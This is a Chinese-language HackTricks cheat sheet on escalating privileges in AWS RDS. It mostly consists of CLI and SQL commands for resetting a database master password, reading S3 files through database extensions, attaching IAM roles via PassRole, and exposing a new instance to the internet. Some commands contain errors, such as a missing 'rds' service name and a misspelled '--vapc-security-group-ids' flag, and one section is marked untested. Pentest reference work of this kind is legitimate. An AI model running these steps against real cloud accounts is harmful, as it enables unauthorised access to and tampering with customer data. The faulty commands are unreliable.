AWS - RDS Privesc

支持 HackTricks

RDS - 关系数据库服务

有关 RDS 的更多信息,请查看:

rds:ModifyDBInstance

拥有该权限的攻击者可以 修改主用户的密码,以及数据库中的登录信息:

# Get the DB username, db name and address
aws rds describe-db-instances

# Modify the password and wait a couple of minutes
aws rds modify-db-instance \
--db-instance-identifier <db-id> \
--master-user-password 'Llaody2f6.123' \
--apply-immediately

# In case of postgres
psql postgresql://<username>:<pass>@<rds-dns>:5432/<db-name>

您需要能够联系数据库(它们通常仅在内部网络中可访问)。

潜在影响: 在数据库中查找敏感信息。

rds-db:connect

根据文档,具有此权限的用户可以连接到数据库实例。

滥用 RDS 角色 IAM 权限

Postgresql (Aurora)

如果运行**SELECT datname FROM pg_database;时发现名为rdsadmin的数据库,您就知道您在AWS postgresql 数据库**中。

首先,您可以检查此数据库是否已用于访问任何其他 AWS 服务。您可以通过查看已安装的扩展来检查这一点:

SELECT * FROM pg_extension;

如果你发现类似 aws_s3 的东西,你可以假设这个数据库对 S3 有某种访问权限(还有其他扩展,如 aws_mlaws_lambda)。

此外,如果你有权限运行 aws rds describe-db-clusters,你可以在 AssociatedRoles 字段中查看 集群是否附加了任何 IAM 角色。如果有,你可以假设该数据库是 为访问其他 AWS 服务而准备的。根据 角色的名称(或者如果你能获取 角色的权限),你可以 猜测 数据库具有的额外访问权限。

现在,要 读取存储桶中的文件,你需要知道完整路径。你可以用以下命令读取它:

// Create table
CREATE TABLE ttemp (col TEXT);

// Create s3 uri
SELECT aws_commons.create_s3_uri(
'test1234567890678', // Name of the bucket
'data.csv',          // Name of the file
'eu-west-1'          //region of the bucket
) AS s3_uri \gset

// Load file contents in table
SELECT aws_s3.table_import_from_s3('ttemp', '', '(format text)',:'s3_uri');

// Get info
SELECT * from ttemp;

// Delete table
DROP TABLE ttemp;

如果你拥有原始 AWS 凭证,你也可以使用它们访问 S3 数据:

SELECT aws_s3.table_import_from_s3(
't', '', '(format csv)',
:'s3_uri',
aws_commons.create_aws_credentials('sample_access_key', 'sample_secret_key', '')
);

Postgresql 不需要更改任何参数组变量 就可以访问 S3。

Mysql (Aurora)

在 mysql 中,如果你运行查询 SELECT User, Host FROM mysql.user; 并且有一个用户叫 rdsadmin,你可以假设你在一个 AWS RDS mysql 数据库 中。

在 mysql 中运行 show variables;,如果变量如 aws_default_s3_roleaurora_load_from_s3_roleaurora_select_into_s3_role 有值,你可以假设数据库已准备好访问 S3 数据。

此外,如果你有权限运行 aws rds describe-db-clusters,你可以检查集群是否有任何 关联角色,这通常意味着可以访问 AWS 服务。

现在,要 读取存储桶中的文件,你需要知道完整路径。你可以用以下命令读取它:

CREATE TABLE ttemp (col TEXT);
LOAD DATA FROM S3 's3://mybucket/data.txt' INTO TABLE ttemp(col);
SELECT * FROM ttemp;
DROP TABLE ttemp;

rds:AddRoleToDBCluster, iam:PassRole

拥有权限 rds:AddRoleToDBClusteriam:PassRole 的攻击者可以 将指定角色添加到现有的 RDS 实例。这可能允许攻击者 访问敏感数据 或修改实例中的数据。

aws add-role-to-db-cluster --db-cluster-identifier <value> --role-arn <value>

潜在影响:访问敏感数据或对RDS实例中的数据进行未经授权的修改。 请注意,一些数据库需要额外的配置,例如Mysql,需要在参数组中指定角色ARN。

rds:CreateDBInstance

仅凭此权限,攻击者可以在已经存在并附加了IAM角色的集群中创建一个新实例。他将无法更改主用户密码,但他可能能够将新数据库实例暴露到互联网:

aws --region eu-west-1 --profile none-priv rds create-db-instance \
--db-instance-identifier mydbinstance2 \
--db-instance-class db.t3.medium \
--engine aurora-postgresql \
--db-cluster-identifier database-1 \
--db-security-groups "string" \
--publicly-accessible

rds:CreateDBInstance, iam:PassRole

TODO: 测试

拥有权限 rds:CreateDBInstanceiam:PassRole 的攻击者可以 创建一个附加指定角色的新 RDS 实例。攻击者随后可能 访问敏感数据 或修改实例中的数据。

附加角色/实例配置文件的一些要求(来自 这里):

  • 配置文件必须在您的账户中存在。

  • 配置文件必须有一个 IAM 角色,Amazon EC2 有权限假设。

  • 实例配置文件名称和关联的 IAM 角色名称必须以前缀 AWSRDSCustom 开头。

aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole

潜在影响:访问敏感数据或对RDS实例中的数据进行未经授权的修改。

rds:AddRoleToDBInstance, iam:PassRole

拥有权限 rds:AddRoleToDBInstanceiam:PassRole 的攻击者可以 将指定角色添加到现有的RDS实例。这可能允许攻击者 访问敏感数据 或修改实例中的数据。

DB实例必须位于集群之外

aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-arn arn:aws:iam::123456789012:role/MyRDSEnabledRole --feature-name <feat-name>

潜在影响:访问RDS实例中的敏感数据或对数据进行未经授权的修改。

支持HackTricks

Last updated